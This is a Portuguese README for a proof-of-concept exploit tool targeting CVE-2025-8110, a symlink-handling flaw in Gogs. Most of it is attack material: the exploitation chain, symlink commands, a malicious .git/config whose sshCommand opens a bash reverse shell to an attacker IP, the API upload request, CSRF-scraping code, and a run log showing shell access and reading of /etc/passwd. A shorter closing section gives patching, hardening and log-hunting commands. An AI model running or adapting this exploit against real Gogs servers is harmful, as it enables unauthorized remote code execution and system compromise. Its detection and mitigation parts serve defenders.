
Exploit PoC para CVE-2025-8110
O CVE-2025-8110 é uma vulnerabilidade crítica no Gogs que permite que atacantes autenticados executem código remotamente através da manipulação de links simbólicos em repositórios. Esta prova de conceito demonstra a cadeia de exploração completa, desde a autenticação até a obtenção de um shell reverso.
A vulnerabilidade existe porque o Gogs segue links simbólicos ao manipular arquivos de repositório através de sua API, permitindo que um atacante leia e modifique arquivos sensíveis como .git/config. Ao injetar uma diretiva sshCommand maliciosa, comandos arbitrários do sistema podem ser executados com os privilégios da conta de serviço do Gogs.
Pontuação CVSS: 7.2 (Alta)
Vetor de Ataque: Rede
Autenticação Necessária: Sim
Interação do Usuário: Nenhuma
Impacto: Comprometimento completo do sistema
requests>=2.28.0
beautifulsoup4>=4.11.0
rich>=13.0.0
urllib3>=1.26.0
git clone https://github.com/oguiii/CVE-2025-8110.git
cd CVE-2025-8110
pip install -r requirements.txt
CVE-2025-8110/
├── CVE-2025-8110.py # Script principal do exploit
├── requirements.txt # Dependências Python
└── README.md # Documentação
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -x
python3 CVE-2025-8110.py -u https://target-gogs.local -lh 10.10.14.15 -lp 4444 -U admin -P password123 -v
┌─────────────────────────────────────────────────────────────────────────────┐
│ Cadeia de Exploração CVE-2025-8110 │
└─────────────────────────────────────────────────────────────────────────────┘
Passo 1: Autenticação
├── Navegar para /user/login
├── Extrair token CSRF da página de login
├── Enviar credenciais com token CSRF
└── Estabelecer sessão autenticada
Passo 2: Geração de Token de Aplicação
├── Navegar para /user/settings/applications
├── Extrair token CSRF da página de configurações
├── Gerar novo token de aplicação
└── Extrair token da resposta
Passo 3: Criação de Repositório Malicioso
├── Criar repositório via API com auto_init
├── Gerar nome de repositório aleatório
└── Obter URL do repositório
Passo 4: Upload do Link Simbólico
├── Clonar repositório localmente
├── Criar link simbólico apontando para .git/config
├── Adicionar, commitar e enviar alterações
└── Verificar upload bem-sucedido
Passo 5: Exploração RCE
├── Criar .git/config malicioso com sshCommand
├── Codificar conteúdo da configuração em Base64
├── Enviar via API para o alvo do link simbólico
└── Disparar execução do comando
Passo 6: Shell Reverso
├── Conexão estabelecida com o host atacante
├── Acesso interativo ao shell
└── Execução de comandos no alvo
O Gogs falha em sanitizar adequadamente a travessia de links simbólicos ao lidar com arquivos de repositório através de sua API. Quando um arquivo é acessado via endpoint da API, o Gogs segue links simbólicos sem validação, permitindo acesso a arquivos sensíveis fora do diretório do repositório.
Criação do Link Simbólico
ln -s .git/config malicious_link
git add malicious_link
git commit -m "Add symlink"
git push origin master
Configuração Maliciosa
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
Exploração da API
PUT /api/v1/repos/{username}/{repo}/contents/malicious_link
Authorization: token {application_token}
{
"message": "Exploit CVE-2025-8110",
"content": "base64_encoded_config"
}
def extract_csrf(html_text):
"""Parse CSRF token from hidden input with multiple fallback methods."""
# Method 1: Input with name _csrf
soup = BeautifulSoup(html_text, "html.parser")
token_input = soup.select_one("input[name='_csrf']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 2: Input with name csrf_token
token_input = soup.select_one("input[name='csrf_token']")
if token_input and token_input.get("value"):
return token_input.get("value")
# Method 3: Meta tag with CSRF
meta_tag = soup.find("meta", {"name": "_csrf"})
if meta_tag and meta_tag.get("content"):
return meta_tag.get("content")
# Method 4: Regex pattern in script tags
pattern = r'"csrf_token"\s*:\s*"([^"]+)"'
match = re.search(pattern, html_text)
if match:
return match.group(1)
# Method 5: Regex for hidden input
pattern = r'<input[^>]*name="[_-]csrf"[^>]*value="([^"]+)"'
match = re.search(pattern, html_text, re.IGNORECASE)
if match:
return match.group(1)
raise ValueError("CSRF token not found in form response")
git_config = f"""[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
ignorecase = true
precomposeunicode = true
sshCommand = {command}
[remote "origin"]
url = git@localhost:gogs/{repo_name}.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
remote = origin
merge = refs/heads/master
"""
# Attacker machine (10.10.14.15)
nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
# Execute exploit
python3 CVE-2025-8110.py -u https://gogs.internal.local -lh 10.10.14.15 -lp 4444 -U admin -P SecurePass123
[INFO] Starting CVE-2025-8110 exploit
[INFO] Target URL: https://gogs.internal.local
[INFO] Attacker host: 10.10.14.15:4444
[INFO] Username: admin
[INFO] Authenticating to Gogs...
[INFO] Login CSRF token found: abc123def456...
[SUCCESS] Authenticated successfully
[INFO] Retrieving application token...
[INFO] Settings CSRF token found: xyz789uvw012...
[SUCCESS] Application token: a1b2c3d4e5f6g7h8i9j0k1l2m3n4o5p6q7r8s9t0
[INFO] Creating malicious repository...
[SUCCESS] Repository created: 6f7e8d9c0a1b
[INFO] Uploading malicious symlink...
[INFO] Cloning repository...
[INFO] Creating symlink: malicious_link -> .git/config
[INFO] Committing and pushing changes...
[SUCCESS] Symlink uploaded successfully
[INFO] Sending exploit payload...
[SUCCESS] Exploit sent, check your listener!
[INFO] Command: bash -c 'bash -i >& /dev/tcp/10.10.14.15/4444 0>&1'
[SUCCESS] Exploit likely successful (timeout indicates reverse shell)
Connection received on 10.10.14.15:4444
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$ whoami
gogs
bash-5.0$ id
uid=1000(gogs) gid=1000(gogs) groups=1000(gogs)
bash-5.0$ pwd
/home/gogs/gogs-repositories/admin/6f7e8d9c0a1b.git
bash-5.0$ hostname
gogs-server
bash-5.0$ uname -a
Linux gogs-server 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 GNU/Linux
bash-5.0$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Para verificar sua versão do Gogs:
# Access the Gogs web interface and check footer
# Or use the API
curl https://gogs.example.com/api/v1/version
Atualizar o Gogs
# Backup existing installation
cp -r /home/gogs/gogs /home/gogs/gogs.backup
# Download and install latest version
wget https://dl.gogs.io/gogs_latest_linux_amd64.zip
unzip gogs_latest_linux_amd64.zip
cd gogs
./gogs web
Desabilitar Suporte a Links Simbólicos
# In custom/conf/app.ini
[repository]
DISABLE_SYMLINKS = true
Implementar Validação de Entrada
# Limit access to Gogs API
iptables -A INPUT -p tcp --dport 3000 -s trusted_subnet -j ACCEPT
iptables -A INPUT -p tcp --dport 3000 -j DROP
Atividade do Repositório
Atividade da API
/api/v1/repos/*/contents/*.git/config via APIIndicadores do Sistema
# Check Gogs access logs for API exploitation
grep "/api/v1/repos" /var/log/gogs/access.log | grep PUT
# Monitor for symlink creation in repositories
find /home/gogs/gogs-repositories -type l
# Check for suspicious git config modifications
grep -r "sshCommand" /home/gogs/gogs-repositories/
# Monitor for outbound connections
ss -tunp | grep gogs
{
"event_type": "gogs_api_access",
"severity": "high",
"indicators": [
"PUT /api/v1/repos/*/contents/*",
"sshCommand in git config",
"random hex repository names"
],
"recommended_actions": [
"Review repository creation logs",
"Check for symlink files",
"Verify API access patterns"
]
}
Esta vulnerabilidade foi descoberta e divulgada de forma responsável à equipe de desenvolvimento do Gogs. O fornecedor lançou uma correção na versão 0.12.6.
Esta ferramenta é fornecida apenas para fins educacionais e de teste de segurança autorizado. Os usuários devem:
O autor não assume nenhuma responsabilidade por uso indevido ou danos causados por esta ferramenta.
Licença MIT
Copyright (c) 2025 oguiii
A permissão é concedida, gratuitamente, a qualquer pessoa que obtenha uma cópia deste software e dos arquivos de documentação associados (o "Software"), para lidar com o Software sem restrição, incluindo, sem limitação, os direitos de usar, copiar, modificar, fundir, publicar, distribuir, sublicenciar e/ou vender cópias do Software, e permitir que as pessoas a quem o Software é fornecido o façam, sujeitas às seguintes condições:
O aviso de copyright acima e este aviso de permissão devem ser incluídos em todas as cópias ou partes substanciais do Software.
O SOFTWARE É FORNECIDO "COMO ESTÁ", SEM GARANTIA DE QUALQUER TIPO, EXPRESSA OU IMPLÍCITA, INCLUINDO, MAS NÃO SE LIMITANDO ÀS GARANTIAS DE COMERCIALIZAÇÃO, ADEQUAÇÃO A UM PROPÓSITO ESPECÍFICO E NÃO VIOLAÇÃO. EM NENHUM CASO OS AUTORES OU TITULARES DE DIREITOS AUTORAIS SERÃO RESPONSÁVEIS POR QUALQUER REIVINDICAÇÃO, DANOS OU OUTRA RESPONSABILIDADE, SEJA EM AÇÃO DE CONTRATO, ATO ILÍCITO OU DE OUTRA FORMA, DECORRENTE DE, OU EM CONEXÃO COM O SOFTWARE OU O USO OU OUTRAS NEGOCIAÇÕES NO SOFTWARE.
Feito com dedicação por oguiii
| Opção | Descrição | Obrigatório |
|---|
-u, --url | URL base do Gogs (ex.: https://gogs.example.com) | Sim |
-lh, --host | Endereço IP do atacante para shell reverso | Sim |
-lp, --port | Porta do atacante para shell reverso | Sim |
-U, --username | Nome de usuário do Gogs | Sim |
-P, --password | Senha do Gogs | Sim |
-x, --proxy | Habilitar proxy (localhost:8080) | Não |
-v, --verbose | Habilitar saída verbosa | Não |